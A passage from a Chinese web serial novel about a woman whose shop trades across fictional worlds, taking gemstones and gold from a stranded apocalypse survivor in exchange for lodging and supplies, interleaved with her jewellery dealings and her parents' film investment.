孟翠翠完全不听，连声说了几句对不起，躲开萧妧妧拉她的胳膊，执意要把血迹擦干净。 直到看见她带走弄脏的纸团湿巾一起带回去，而不是丢在小卖部的垃圾桶，萧妧妧对她的好感直线上升。 别的不说，系统挑选的顾客还是挺不错的。 嗯，挑选用户的眼光也很不错，像她这么善良机灵会赚钱的小配角，上哪找啊。 救助了一个可怜女人，萧妧妧成就感爆棚，想了想，给她点来一份外卖，香喷喷的大米饭点了三盒。 同样是做女配，在霸总小黄文里当配角，可比在末世文里当配角舒服多了。 回到银行柜台后，短暂的劳动带来的疲累无力感包裹了四肢，孟甜甜听着外面疯狂的嘶吼声，恍然回神。 她看了看手里一团沾满血污的湿巾，酒精的气息尚有一丝残存，又看向怀抱里一堆日化用品。 真好……不是做梦。 她瘫倒在地，依靠向身后冒着热气的折叠浴桶，泪水唰得一下涌出。 孟甜甜以为自己会死在丧尸潮里，即便不死，孤立无援的她多半落不到什么好下场。 体力耗尽前，她有过一丝动摇，这时候逃出来真的对吗？ 可随后她就清醒了，顾呈锡的白月光回国了，她会和别的女人一样，失去替身的价值。 以顾呈锡无情的作风，她会被他随便丢给哪个合作方或者保镖，变成他们手中赚物资的工具。 孟甜甜目光坚定，她终于得到了梦寐以求的自由，现在可不是后悔的时候。 这次发烧虽没能觉醒异能，但是她拥有了比异能更可靠的金手指，只要她谨慎点，想在末世里好好活着不难。 孟甜甜看一眼熟悉的银行大厅，苦笑出声。 曾经厌恶到极致的工作，末世后成了她唯一的避风港。 想到什么，孟甜甜撬开组长的柜子，拿出一串钥匙。 收到尸潮警告后，A城里但凡不想死的幸存者都拼钱拼命拼人脉，用各种方法逃了出去，从前气派的总行如今只有大厅几十只丧尸，如今倒是便宜了她。 她回味一番温水的美好滋味，重新调整呼吸，积蓄力量。 等到习惯低烧的眩晕感，孟甜甜从脖子上拽下一把钥匙，定了定神，大步朝着寄存柜所在区域小心探索。 萧老板虽未明说价格，但做生意的总归要赚钱，孟甜甜不确定这里的货币能不能在那里使用，想着用金子或者珠宝试一试。 再回到柜台，孟甜甜几乎脱力，低烧加奋力击杀丧尸，已经透支了她的体力，有萧老板那杯水续命根本不够。 她踉跄着回到折叠浴桶旁，玻璃外面感受不到活人气息的丧尸已经散去，冒热气的洗澡水变得温热。 她小心藏起背包，脱了身上脏兮兮衣服，从旅行袋里拿出一条毛巾沾湿，先把身上血块擦掉一些再进浴桶，否则这一桶水根本冲不干净她身上的血渍。 拿出毛巾打湿，孟甜甜看到旅行袋里不止有洗漱用品和衣物，连果腹的面包、肉肠都准备了几个。 孟甜甜眼眶不由泛红，擦干净手，拆了一包小面包，等到胃里不再翻江倒海的抗议，身上的力气似乎跟着回来了。 她重新拿起毛巾打理自己。 萧妧妧看一眼时间，嘟囔道：“洗这么久，不会是晕过去了吧？” 要不是担心她身上来自丧尸的血造成什么不良影响，萧妧妧不介意她留下来，在客房里洗漱。 趁着等待的工夫，萧妧妧开始琢磨系统其他功能。 有一个来自末世位面的孟翠翠，小卖部日常商品的货架不好再空着，只是把它们填满太累了，萧妧妧把希望寄托在系统上。 既然是交易系统，又能全面接管小卖部，多一个整理功能不是问题吧？ 【请打开‘我的’—‘店铺’—‘用户店铺’—‘不倒闭小卖部’—‘托管’—‘整理’—‘货品上架’。请提前将需上架货品转移至系统仓库，选定上架商品。PS：过期商品无法系统上架，请手动操作】 萧妧妧嘴角抽搐，想说点什么，最后选择沉默。 她依言按照系统提示操作，在每一类分级的犄角旮旯里找到目标选项，又在众多选项中挑出“货品上架”。 唰的一下，眼前画面像游戏读条刷新一般，肉眼可见的凝滞两秒后，令她头疼的货品整齐挤满货架。 丰富的种类、花哨的色彩、干净的包装，小卖部终于有了点小卖部该有的样子。 萧妧妧沉浸在惊喜中，早知道系统有这么方便的功能，她也不会拖到现在。 只惊喜了一会，萧妧妧就按捺不住吐槽的心。 她发誓，她有认真探索过系统！ 但那些功能设置密密麻麻一片灰，卑微的三级用户不配使用，而在这一片灰的深处，一两个实用功能躲躲藏藏在其中，很不起眼。 和某个叫普江的阅读APP一样难用。 恰好外卖送到，萧妧妧提着一摞餐盒进来，没等她站稳脚跟，孟翠翠出现了。 洗完澡的她像脱胎换骨一般，不管是乍一看还是仔细看，绝对是不折不扣的美女，丰满身材连萧妧妧见了都忍不住吞咽口水。 明明是再普通不过的白T大裤衩，穿在孟翠翠身上竟能勾勒出曼妙曲线，看起来既性感又可爱。 萧妧妧呆了呆，发现她不自在地搓手，猛地回神，招招手示意她进来吃饭。 孟翠翠没想到，萧老板意外的贴心周到，不仅准备了小面包，连午饭也有。 萧妧妧：“不介意和我一起吃吧？” 孟翠翠呆望着满桌的外卖，连忙摇头。 萧妧妧嘿嘿笑，递去筷子。 她是天生E人，只要她想，能和任何人打成一片，萧妧妧想到末世位面大有可为，既是怜悯也是想着拉关系，安排了一顿丰盛的外卖午饭。 “小卖部的客人活动范围有限，不是不带你出去吃好的，你别介意啊。” 嘴里这么说，萧妧妧却是笃定她不会介意，刚才她可瞧见了，孟翠翠差点感动得哭出来。 孟翠翠捂着嘴，脑袋摇得像拨浪鼓。 “对不起，我骗了你，其实我的真名是孟甜甜。”她哽咽着说。 萧妧妧确认是哪三个字后，不禁嚯了一声。 孟甜甜啊，她知道，一本末世小黄文的女配，逃离霸总后又被几个大佬囚禁圈养的金丝雀。 【作者有话说】 [玫瑰]临时插播一条通知，周三2.26倒V，章节为20-81章，看过的宝宝们请勿重复购买。 下一章更新放在周四[亲亲] 感谢： 读者“momo”,灌溉营养液 +2 读者“乍暖”,灌溉营养液 +1 读者“隺翯”,灌溉营养液 +15 读者“来点种田文”,灌溉营养液+10 读者“小星星”,灌溉营养液+1 82 第82章 ◎极品鸽血红◎ 孟甜甜有点警惕心,但不多，进店没多久撂了真姓名。 萧妧妧之所以能快速确认，因为这是她为数不多看了大部分的小说。 孟甜甜的经历总结下来可概括为——倒霉蛋女配被当做替身的一生。 前有霸总后有大佬，他们不约而同的拿孟甜甜当成女主替身,又为了博女主欢心,抛下孟甜甜。 一次次被女主的爱慕者掳走当替身,又一次次被他们弃如敝履,精神和身体遭受了不同程度的迫害。 孟甜甜不甘心人生被别人掌控，在故事临近结局的部分,彻底黑化。 结果不用说，死得很惨。 萧妧妧印象深刻的原因还有一点,这本末世小黄文里，不管是女主还是女配,她只看到她们被迫的承受、忍耐、挣扎以及深深的无奈。 白月光女主并不想成为男主们的附庸，她像毫无灵魂的玩偶承受他们的疯狂索求； 替身女配渴求自由,可惜事与愿违,因为一张酷似女主的脸,一次次被困在金丝笼罩不得逃脱。 虽然是小黄文,萧妧妧却没感受到半点她们的快乐、享受。 别人大呼刺激的剧情,她看得直刺挠，匆匆跳到结尾算是看完了，赶紧丢在一边。 萧妧妧同情心泛滥，推着她坐下,催她吃饭。 孟甜甜望着满桌食物，口腔分泌大量唾液,刚得到小面包安抚的胃又开始兴风作浪。 她抬头眼巴巴瞅着萧妧妧,萧妧妧冲她笑了笑,示意她随意。 孟甜甜又哭又笑，道一声“谢谢萧老板”，虔诚地端起碗筷。 她已经很久没有吃过热腾腾的食物了，久违的米饭香气和油脂味道刺激她的感官，孟甜甜深深吸一口气，拼命扒饭，眼泪混着饭粒一起吞进肚子。 林怡然出现后，顾呈锡便不在乎替身的死活，顾家的保镖和佣人更不会特意提起，免得她分走物资。 如果不是趁着尸潮逃脱，孟甜甜想，即便没有被送人，迟早也要饿死。 萧妧妧一日三餐基本准时，每天小零嘴不断，这会并不太饿，在她的带动下，意外有了胃口，吃下半碗饭。 放下筷子的时候，萧妧妧听到身边传来细弱的抽噎。 掀起眼皮子偷瞄过去，孟甜甜保持着脸蛋埋在碗里的姿势，哭得上气不接下气，身体微微颤抖。 这是吃饱了，有劲哭了？ 萧妧妧默默递上纸巾，丢下一句：“我去外面看看。” 说完，萧妧妧转身离开，为她留出空间，可是没能出门，哭声哇的一下爆发，委屈中又包含着解脱的畅快。 萧妧妧任由她宣泄情绪，回不破斋整理柜台，走到院中，她忽然意识到地中海不见踪影。 从监控中确认地中海是自己接了电话离开的，萧妧妧懒得管他。 刚要继续手里的活，手机叮铃铃响。 来电显示是陌生号码，萧妧妧下意识想挂断，想起可能是客户，接通电话。 “什么？” 萧妧妧一边排列柜台里的手串，一边分心通话，听到了什么震撼消息似的，她唰一下直起身，脸上神情就差写着“惊讶”两个字。 “卖！您有空随时来看货。” 挂断电话，萧妧妧不禁哇了一声。 抱着广撒网的心态发布古董翡翠的宣传视频，竟然真的有人看上，并打听到她的手机号，预约上门看货。 萧妧妧掐了一把胳膊，嘶嘶吸气。 果然，高货从不缺市场，一旦露面，多得是人上门。 帝王紫胖圆条翡翠镯挂上店铺视频号总共没几天，已经有人不惜从千里之外飞来南市。 高货在世面流通的概率低，看货的人越多，在市面流转的时间越长，货越难出手。 帝王紫档次虽高，但在它之上还有更高档的紫翡压着，不能趁它刚在市场流通，买家瞧着新鲜时出手，往后砸在手里的概率直线上涨。 毕竟再好的东西也怕对比。 翡翠这玩意，买的人看对眼了，加个百八十万的都有人愿意买单，若是不入眼，那就难说了。 比如林教授，他偏爱颜色辣的菠菜绿，紫翡不在他的选择范围里，哪怕多瞧了几眼，看得出紫翡够好，也只是看了几眼，夸赞两句，根本不做考虑。 萧妧妧想了想估价，没心思整理柜台，开始打听紫翡行情，务必保证尽快出手。 她抱着手机四处打听消息，这时，哭完了的孟甜甜扶着墙挪到院子中。 她好奇地欣赏着，目光在晃动的绿枝上停留，慢慢走到院子中央，仰起脸接受阳光的沐浴。 原来，可以跨位面交易的小卖部竟然设置在一处平静祥和的小院中。 孟甜甜好像看到了末世前的家乡，满眼都是怀念。 环顾时，她留意到旁边敞开房门的宽敞客房，目光再也挪不开。 萧妧妧恰好注意到孟甜甜，歪头顺着她视线看过去。 孟甜甜后知后觉，反应过来脸蛋滚烫。 她退开两步，感谢萧妧妧的盛情招待，而后表明意向：“我想买些方便食品、矿泉水，还有一些卫生巾。” 不出萧妧妧所料，这回她是真要为末世而囤货了。 “小卖部商品齐全，需要什么自己拿。”萧妧妧大方回应，停顿一会反问：“毕竟是位面交易，你打算怎么……” 萧妧妧抬起手，几乎明示地搓了搓手指。 孟甜甜激动了一会，随即笑容收敛，犹豫了片刻，忐忑地拽出背包。 “您看……它们可以吗？”孟甜甜从包里掏出几个大小不一的礼盒，递给萧妧妧的同时轻声解释：“这些在我们那里挺值钱的，不知道您收不收。” 萧妧妧一听是值钱货，瞬间来了精神。 孟甜甜所在的位面是虚构的未来世界，但故事背景、环境、科技水平等，沿用了现实设定，换句话说，她所谓的值钱货，在萧妧妧存在的三次元，大概率也很值钱。 想到这里，她干脆抱起盒子往廊下走，请孟甜甜先坐一会，自己则忙着看货。 “哇……” 她率先挑了一个最大的红色方扁形状的盒子，看起来像是首饰。 打开一看果不其然，在盛夏阳光下，盒子里霎时迸发出来的火彩差点闪瞎她眼睛。 比十三寸平板稍大一些的盒子里，竟然装了八枚戒指，最小的那枚戒指主石有蛋黄那么大，估摸有20多克拉左右，或者更多。 八枚戒指造型、款式各不相同，工艺也有极大的区别，唯一的共同点是它们的主石——全部是无烧蓝宝石！ 蓝宝石四周嵌满了钻石或是其他各色的宝石，极具设计感与美感，收藏它们的主人品味方面没得说。 她一枚一枚拿起细看，火彩、工艺、颜色、净度……每根本挑不出毛病。 萧妧妧不用估价就可以断定，这八枚戒指不便宜，甚至很贵。 想到剩余估价次数不多，萧妧妧舍不得一下子消耗八次机会，于是在各大拍卖行的拍卖记录里寻找参考。 孟甜甜回忆一番，适时出声：“一共八枚戒指，里面最便宜的是萧老板手上那枚，花了180万拍下，其他几枚戒指比较贵，300多万左右，不过是前几年陆陆续续收来的。 每一枚都可拆分重组，它们可以是戒指，也可以变成吊坠或是胸针。” 这些宝石，全是她陪着顾呈锡满世界飞，到处搜罗来的，大师亲工，设计不可谓不精巧。 林怡然喜欢宝石，顾呈锡就为她买宝石，一年一枚，纪念他与白月光相识的纪念品。 可惜一枚也没送到他白月光手上，全被她偷来换物资了。 萧妧妧惊叹连连，拆分几个戒指后渐渐冷静下来。 光听数字丝毫没有概念，她转而打听道：“你那里金价是多少？” 孟甜甜思索片刻，迟缓说：“末世之前，金价大幅度下跌过，之前一直保持在900左右。” 萧妧妧垂眸开始琢磨，恰好页面刷新成功，最近两年的拍卖记录跃入眼中。 便宜的几万十几万不等，贵的少见，八九十万顶天了，倒是国外有很多上百万的拍卖记录。 尤其高品质蓝宝石，屡屡刷新拍卖记录，在高珠市场表现非常亮眼。 以萧妧妧对宝石的浅薄认识，拿到三次元的高珠市场上，至少在小中百万的档次，具体价格她无法做出预测。 这一盒子蓝宝石戒指，总价值最低有千万左右，确实不便宜。 但还是那句话，物以稀为贵，市场上一下子出现八枚差不多档次的高货蓝宝石，价格打不上去。 可以拆开单卖，隔段时间出一次。 萧妧妧眼珠子骨碌碌转，短短几秒钟里已经考虑好它们的安排。 蓝宝石迅速过了一眼，盒子合上垫在最下面，萧妧妧拿出一个方形小盒子。 “祖母绿戒指，”孟甜甜瞥了一眼，介绍道：“这枚是收的原料请大师制作，戒指主石是祖母绿，29克拉，选用料子最精华部分打造，戒托镶嵌了25枚粉钻。” 缓一口气，孟甜甜继续介绍：“收原料花费两千万，粉钻是家中藏品，价值不知，但是制成戒指后，曾有人出价一亿。” 顾呈锡为了讨好林怡然专门*订制的首饰，不管出价多高都不会卖，孟甜甜拿不准它的实际价值。 萧妧妧听了倒吸一口气，越发小心地捧起它。 手心里这枚颜色鲜艳的椭圆形翠绿宝石，就是传说中的祖母绿，无杂无裂色彩浓艳，如此高的饱和度净度，确实是石料中的精华部分了。 29克拉属于高珠范畴，又有大师亲自制作，设计、工艺、切工自然不用说，光是戒托上的钻石就能有上百万，戒指整体的价值绝对不低。 或许有一亿的诱惑摆在前面，萧妧妧心痒难耐，想看看它到底价值几何。 纠结片刻，她果断使用估价功能，略等了几秒，图片和报价一起跳了出来。 “五千万！” 萧妧妧震惊了，手心里沉甸甸的小东西比一套围棋还要贵。 孟甜甜愣了愣：“什么五千万？” 萧妧妧飞快摇头，敷衍回应：“我在查资料。” 孟甜甜哦了一声，不确定的开口：“这枚是收藏级别的，听说是顶级祖母绿，应该不会太便宜。” 萧妧妧可以作证她所言非虚，克价上百万的祖母绿，绝对称得上顶级。 她尝试着将戒指套上中指，抬起手掌对照着阳光，萧妧妧眯起眼睛，发出了不愧是祖母绿的感慨。 太美了，也太重了，大气又端庄的美，存在感十足，戴在她手上有喧宾夺主的气势。 从前只听闻过祖母绿的大名，对其了解不多，可即便不了解也知道它的珍贵。 而如今，有幸遇见收藏级别的祖母绿，萧妧妧萌生出将它据为己有的念头。 果然，人一旦有点小钱，基本需求得到满足，自然而然的开始琢磨其他方面。 和大多数有钱人一样，萧妧妧在古玩高珠的圈子里探索过一段时间，学习的同时慢慢的爱上了它们，碰见可遇不可求的好货，萧妧妧难免生出占有的欲.望。 具有稀缺性、独特性的高品质宝石，可比黄金更具备保值升值的潜力。 拥有就是赚到，未来不管何时何地，她遭遇任何意外，只要有它在，相当于多了一道保障。 小心翼翼将它放回盒子里，萧妧妧按捺住雀跃的心情，打开第三个首饰盒。 “好漂亮的项链！” 萧妧妧发出没见过世面的惊呼。 主石做为设计的焦点、项链的中心，不仅尺寸比副石要大许多，品质同样要高许多，是整条项链的视觉中心，面前的这条红宝石项链完美达到了以上要求。 蛋黄大小的宝石映入眼底，旁边点缀的钻石宝石等，萧妧妧自动虚化，满心满眼只有它。 “顶级鸽血，”再次见到这串红宝石项链，孟甜甜心情复杂，语气不由冷淡些许，“主石是无烧鸽血，28.5克拉，产地在D国，收藏级别红宝石，有我们那里权威机构的鉴定证书。副石是钻石和红宝石，钻石用了999枚，红宝石9枚。” 顶级、鸽血红、无烧、999枚钻石镶嵌……实打实的顶级珠宝！ 比祖母绿有过之无不及！ 萧妧妧拍着胸口，差点喘不过来气，孟甜甜拿来的东西一件比一件珍贵。 自然光下表现极好，仅凭肉眼便可确定，它的价值远不止千万。 忍痛使用估价功能，萧妧妧等估价跳出来后，从后往前数。 一个零、两个零、三个零……嘶！ 萧妧妧数到九位数的时候，捧着盒子的手在颤抖。 2.5亿！ 这是她绑定系统以来，得到的最高价值物品。 不，是她这辈子见过的最贵物品！ 才许了日薪越亿的愿望，突然实现了…… 萧妧妧神情空白，反应不能，等她想起打开四个盒子，已经过去了几分钟。 孟甜甜舔舔唇，搓着手说：“不知道它们在您这里值不值钱，我准备了一些金条。” 顾呈锡在这家银行的保管柜只存放了金银珠宝一类的物品，更重要的合同协议等根本不给她接触的机会。 末世后，顾呈锡看重的财产成了一张废纸，反倒是珠宝黄金变得越发抢手。 孟甜甜想，幸好顾呈锡防着她，否则她连一点值钱的东西都拿不到。 金条一共50根，一根1000克，和前面的高珠没得比，单看的话，价值并不低。 难怪看她驮着背包时费力的很。 萧妧妧缓过劲，把它们摞在一起，侧过身，严肃中带着疑惑地望向孟甜甜。 “普通的日常用品可用不上这么多，说吧，你还想要什么？” 【作者有话说】 20-81章为倒V，看过的宝注意一下，不要重复购买了 感谢读者“momo”,灌溉营养液+1 感谢读者“藏月水寒”,灌溉营养液+1 83 第83章 ◎她给的太多了◎ 小心思被看穿,孟甜甜微愣，随即搓着双手一副窘迫模样。 她原先只是想着付金条，足够买下这段时间所需的物品，看到后院的客房,孟甜甜忍不住生出妄想,临时改了主意。 “我、我想在您这里暂住一阵。” 孟甜甜约莫是觉得自己有点蹬鼻子上脸,但除此之外别无他法,硬着头皮开口，是以不敢直视萧妧妧,垂头耷脑，脚尖不安地碾着地面。 头一回有客人提出租住,萧妧妧意外了一瞬，介于孟甜甜的大出血,她对“暂”这个字眼打问号。 “您放心，绝对不会影响您做生意,我可以帮忙看店、打扫卫生。”院中沉默了一阵,孟甜甜心慌慌,急忙补充：“我会每天去打丧尸,尽快成长起来,我、我只是没能习惯末世……” 孟甜甜困在别墅区，重重守护之下，她根本没有机会直面丧尸，也就意味着她没有掌握击杀丧尸的能力。 逃跑的路上惊险万分,她全靠意志力撑着，最后磕磕绊绊躲进银行。估计是老天垂怜,孟甜甜除了低烧以及累到脱力,并没有遇到不可逆的伤害。 她还是不够强大,力气不够，技巧不足，以至于和丧尸缠斗许久，弄得自己狼狈至极。 孟甜甜想到城市遍布丧尸，一时半会肯定无法离开，突然出现的小卖部成了那根救命稻草。 “我不知道会住多久，但是请萧老板放心，一旦我适应了末世生活，能够保障自己安全，我会尽快搬走的。” 她语无伦次地强调解释，萧妧妧大约明白了她的意思，珠宝和金条可以理解为房租和伙食费。 萧妧妧对上她近乎哀求的目光，陷入了沉思。 首先，系统开了防护功能，最基础的安全问题可以保障。 其次，院子有客房，具备接待租客的条件。 然后，小卖部多了一个劳动力，除了核心业务不能让她碰，倒是可以拜托她帮忙看着点院子。 最后一点也是最重要的一点——她给的太多了！ 萧妧妧分析完利弊，心中的天平以迅雷不及掩耳之势倒向了孟甜甜。 “就照你说的定，它们算作你的房租和提前支付的货款。客房随你住，住多久看你需求，”萧妧妧指了指客房，又指了指小卖部：“帮忙就不必了，小卖部经常有其他位面客人光顾，我会负责招待。 至于你需要的物资，货架上基本齐全，随你取用，用完了跟我说一声，我会补货。 如果有特别的需求可以提，只要是日常用品，我基本可以提供。” 有价值2.5亿的鸽血红，萧妧妧可以养她一辈子！ “对了，如果采购的东西量太大，需要另外交钱。” 担心孟甜甜玩阴的，开口就要买上亿的物资，萧妧妧紧急打补丁。 孟甜甜唰一下仰起脑袋，杏眼瞪得圆溜溜，灼灼地望着萧妧妧。 “我、我没听错吗？”孟甜甜语气惊喜，察言观色一阵，不可置信地重复一遍，“我想住多久就住多久？” 萧妧妧点头。 “小卖部的物资我随意取用？”孟甜甜加快语速再次确认。 萧妧妧继续点头。 孟甜甜深呼吸，好像做梦一样，萧老板真的愿意收留她！ 带着满心欢喜环顾院子，孟甜甜笃定的想，这一刻绝对是她这辈子最幸福的时刻。 孟甜甜情不自禁，上前两步想要抱住萧妧妧表达自己的喜悦，胳膊即将碰到她手臂时，猛然回神，瞬间缩了回去。 “行李不需要准备，客房基本齐全，”萧妧妧见她高兴得忘乎所以，好心提醒：“我事先告知你一声，小卖部所在的位面和你存在的末世位面时间流速不一致，具体差多少我不能确定，你自己注意一下。” 孟甜甜听到了陌生词汇，不太能理解：“时间流速……那是什么？” 萧妧妧斟酌片刻，缓缓说：“比如，你在小卖部逗留了一天，回到你的世界，那里可能过去了一个月，甚至更久。当然，也许只有半天。” 萧妧妧至今没能弄懂位面之间的时差，不过这不重要，不影响她做生意，于是不曾深究。 孟甜甜听明白了，苦笑一声：“谢谢萧老板提醒，我那里早没了时间概念，对我的影响应该微乎其微吧……？” 末世降临，丧尸爆发，紧随其后的是连绵暴雨天以及颠倒的日夜。 时间、气候、温度、环境……全部发生了翻天覆地的变化，孟甜甜不记得时间具体过去了多久，仅凭饿肚子的次数以及月经来判断，当然，这不完全准确。 说是末世开始了三个月，也不过是大家的推测。 萧妧妧挠头：“啊？丧尸+天灾，双重末世？” 萧妧妧只装了满脑子废料，小说背景设定什么的，看的时候没注意，现在更不可能知道。 孟甜甜生无可恋地点头。 停顿一会，孟甜甜想起什么，弱弱开口：“萧老板，我想买些防身的东西。” 萧妧妧没立刻应下，先看一遍系统的交易规则，确认两个位面的科技水平，以及她的能力，很快确定了几样东西。 “电锯、唐刀、复合弓、防弹背心……先凑合用？” 这些是她为其他客人准备的，一直塞在仓库里，不需要等，刚好适合给孟甜甜应急。 孟甜甜扫一遍面前的物品，都挺好，但是还不够。 她舔舔唇，眨巴眼睛，用充满希冀的目光望向萧妧妧，“萧老板，您有枪吗？” 萧妧妧耸了耸肩，爱莫能助的表情说：“禁止交易热武器。” 孟甜甜眼里的光瞬间黯淡，失望地垂下眼眸。 “那……我可以全部拿走它们吗？” 萧妧妧不带一点犹豫，大方挥手。 孟甜甜顿时眉开眼笑，低声说一句谢谢，拎起背包去客房安顿。 答应租客房，商品随意取用，不止是说说的事，萧妧妧要操作系统，给孟甜甜修改权限，顺带调整她在小卖部的停留时间。 “那个……这些也可以让我带回去吗？” 萧妧妧忙着扒拉系统修改各种权限的时候，孟甜甜回到了小卖部，没一会追出来怯怯地询问。 萧妧妧进屋一看，孟甜甜指的竟是那一桌子剩菜剩饭。 孟甜甜是吃到撑才离开的，可即便如此，还有一半的饭菜剩下。 毕竟在末世吃过苦受过罪，哪怕有小卖部做后盾，以后吃喝不愁，孟甜甜仍旧舍不得浪费粮食。 她收拾残渣的同时把饭菜重新打包好，装进一个袋子里。 打丧尸累了的时候可以吃，免得频繁来小卖部点餐，惹萧老板厌烦。 对上孟甜甜的眼神，萧妧妧说不出其他话，示意她随便处置。 孟甜甜满足极了，一袋子饭菜紧抱在怀里。 “萧老板，我可以再买点御寒的衣服吗？最近有降温的趋势。” 即将迈出结界，孟甜甜想起什么，又折返回来小心地询问，笑容亲切带着一丝讨好的意味，生怕给萧妧妧留下坏印象。 萧妧妧：“当然，你回去列一张单子，我照着单子给你准备。” 零零碎碎的东西采购起来最麻烦，不如一次性解决。 话音落下，孟甜甜像看到天使似的，望着萧妧妧时，满眼闪烁着快乐的光芒。 她穿着防弹背心，肩上挎着电锯，背上背着唐刀，怀里是满满一袋饭菜，胳膊上挂着沉甸甸的复合弓，目送略显滑稽的背影消失在结界里，萧妧妧忽然笑了。 什么恶毒女配，明明和普通女孩子没什么区别嘛。 小卖部迎来了新住客，萧妧妧感觉还不错。 她掂了掂手里那一摞首饰盒，忍不住嘿嘿笑。 谁敢信啊，它们加起来能有3亿！ 反正萧妧妧是不敢想的，翘着二郎腿，脚丫子欢快地晃动着，戒指项链一个个拿出来欣赏试戴。 等她看够了摸够了拍够了，萧妧妧小心包起来，全部塞进空间。 至于留在桌面的那一盒金条，萧妧妧手里的金子太多，早不稀罕了，琢磨一会，决定留作本金，到时候拜托客人们帮帮忙，多收点珠宝。 稀有宝石不比翡翠差多少，动辄千万上亿，简直是天价，小卖部开拓新业务线很合理。 修完图，萧妧妧依次把蓝宝石戒指发到朋友圈，务必让新老客户们接受到讯息——不破斋开辟新业务，卖彩宝啦！ 美美欣赏一会，不等退出，萧妧妧收到了第一个点赞，来自黎行聿。 本想着礼尚往来赞回去，戳进头像才想起来他不发朋友圈。 不发，但不影响刷？ 为了照顾不会玩朋友圈的大龄客户，萧妧妧返回对话框编辑新的宣传语，斟酌语句群发出去后，她忽然注意到“对方正在输入”的提示出现了很久。 萧妧妧心口咚的一下跳动，抱着手机等黎行聿的回复。 不知道是太忙还是有其他情况打断，萧妧妧等得不耐烦时，对面慢悠悠发来一个“好”。 萧妧妧不禁失望了一瞬。 上了年纪的客户偏爱古董、翡翠、文玩等物，客户中就属黎行聿年纪轻，最容易接受奢侈品、艺术品等，完美符合宝石戒指受众人群的特征。 萧妧妧以为他会感兴趣，一个轻飘飘的好字打破了她的幻想。 顺手刷一刷朋友圈，给晒收藏的张老板点个赞，再夸一夸林教授的大孙子壮实可爱，看到许年华发的全家福，庆祝双胞胎女儿考上心仪大学，萧妧妧福至心灵。 冰红紫价格适中，刚好可以加工一下，以升学礼物为由送给许年华。 萧妧妧仔细测了一下料子尺寸，再比划一番，心里基本有了主意。 正中切一刀，一半可以做大尺寸蛋面，以当下的行情看，两百万问题不大，如果不怕周期太长，送去拍卖行说不定表现更加亮眼。 另一半一分为二，做成两个寓意吉祥的福豆，一个福豆大约比拇指大一些，一百万出头差不多，两个就是两百来万，很拿得出手，许年华肯定能明白她的意思。 多余的边角料可以车珠子，做耳钉耳坠，或是戒指主石，值个大千小几万。 萧妧妧这一盘算，发现不少赚呢，估价200万的冰红紫料子实际做出成品，售出价格最少翻一倍！ 【作者有话说】 [亲亲][亲亲]感谢读者“eximious~chyx”,灌溉营养液+1 读者“11”,灌溉营养液 +4 读者“浅鸣”,灌溉营养液 +20 读者“momo”,灌溉营养液 +1 84 第84章 ◎彩票都不敢中这么大的金额◎ 打定主意,萧妧妧留了张字条，骑上史努比往最近几家设计工作室去。 对比设计师水平和排队情况，萧妧妧咬牙花了双倍工费，选择圈内小有名气的师傅制作,主打一个不掉面。 倒不是萧妧妧好面子,而是这个圈子里的人讲究面子,她入乡随俗。 确认完款式和交付时间,最后和许年华约定了饭局，才算结了一桩事。 萧妧妧连着跑了几个工作室,热得一身汗，回家之前绕去小卖部前门的大街。 有社区志愿者疏散,小卖部门口总算没再出现游客聚集的情况，更多是路过逗留一阵的人。 萧妧妧一打量,决定营业时间再推迟两天。 最近娱乐圈有大瓜，大家忙着吃瓜,捐献史料的热度骤然下降,过不了多久就能恢复无人问津的状态了。 萧妧妧很满意,旋转把手加速驶入小巷。 抱着头盔进门,看到院子里亮堂堂,她转身往客厅跑，果不其然看到了张芸和萧大明。 两人放着行李不管，翻箱倒柜不知道忙什么，沙发上堆满衣服,张芸女士笑眯眯站在镜子前，扯着三条纱巾比划半天。 “爸妈,你们这么快回来了？” 外婆家在远郊的村子里,有爸妈最喜欢的农田菜地和山水,每次回去最少住个半个月，用他们的话说，那叫免费享受农家生活，吃有机食物。 张芸没工夫搭理女儿的疑问，转过身问：“妧妧你看，妈穿哪条配橘色围巾？” 萧妧妧来回对比，选中了沙发上被人抛到一边的黑色连衣裙。 张芸满脸嫌弃：“乌漆嘛黑的，不精神。” 萧妧妧撇撇嘴，随手指了一条翠绿的裙子。 张芸皱眉：“这么搭跟个橘子似的……算了，选黄色的吧。” 萧妧妧眼前一黑，从橘子变成橙子，似乎并没有什么区别。 这时，萧大明也拿来两件POLO衫，问：“妧妧，快来看看，是条纹的好看还是灰色的好看？” 虽然一言难尽，但难得见爸妈讲究起穿搭，萧妧妧问道：“你们这是要去哪啊？” 张芸和萧大明好像就等着她问一样，夫妻俩笑开了花，齐齐走到她面前。 “去参加电影首映，”张芸扭着腰，快乐得要跳起来。 萧大明配合补充：“导演说了，结束后要和演员一起拍照，看电影的还有粉丝呢，到时候照片是要发出的，我们不得穿好点？” 萧妧妧茫然片刻，试探着说：“电影？不会是你们投资的那个电影吧？” 张芸哼哼小调，抽空回答：“恭喜你萧妧妧小朋友，猜对啦~” 萧大明收敛笑容，正经严肃的说：“我就说不能是骗人的，你妈不听劝，人家撺掇两句就急了，闹着堵上门。” 张芸不乐意了，反驳道：“哎呦呦，还不知道谁急得整宿睡不着，血压都高了。现在成我的错了是吧？” 萧妧妧挠头，剧情竟然自己走通了，没经男女主的手，结果居然大差不差。 萧大明哼了一声：“妧妧说得对，人家电影那什么……回款是吧？回款就是慢，电影没上映，人家怎么给你分钱呢？” 前阵子自觉被骗了几十万，整天提不起劲，现在峰回路转，电影即将上映，夫妻俩一扫萎靡，嘚瑟炫耀起来。 萧妧妧终于想起来问：“对了，你们投资的电影叫什么来着？” 当时照顾父母心情，萧妧妧没多问，这会真有点好奇。 萧大明中气十足的回应：“小明的一天。” 张芸闻言，丢下衣服纠正道：“你这猪脑子，人家改名了，现在叫《在路上》。” 萧妧妧一听，还真有点印象，班里有同学约着去试戏，不过听说角色内定了，用来捧某个刚入行的小资源咖，最后不了了之。 电影不是什么大制作，胜在导演不一般，知名度挺高的专业导演，可惜最近几年负面新闻缠身，拉不到投资，这才让许多类似张芸萧大明夫妻俩这样，有点小钱的外行人找到机会参与进去。 萧妧妧查了影片信息，前年拍的片子，压了一年多，终于赶在今年暑期档末尾和观众见面。 一年多，难怪她爸妈急得不行，生怕对面骗了钱跑路。 “妧妧，你也准备准备，打扮精神点，到时候一起看电影，说不定导演觉得你形象好，拉着让你演女主角呢。”张芸女士天真的说。 萧妧妧笑了笑，没反驳什么。 在爸妈这一辈的人眼里，找工作是非常简单的一件事，萧妧妧不去做，肯定是她不喜欢，要么是不认真。 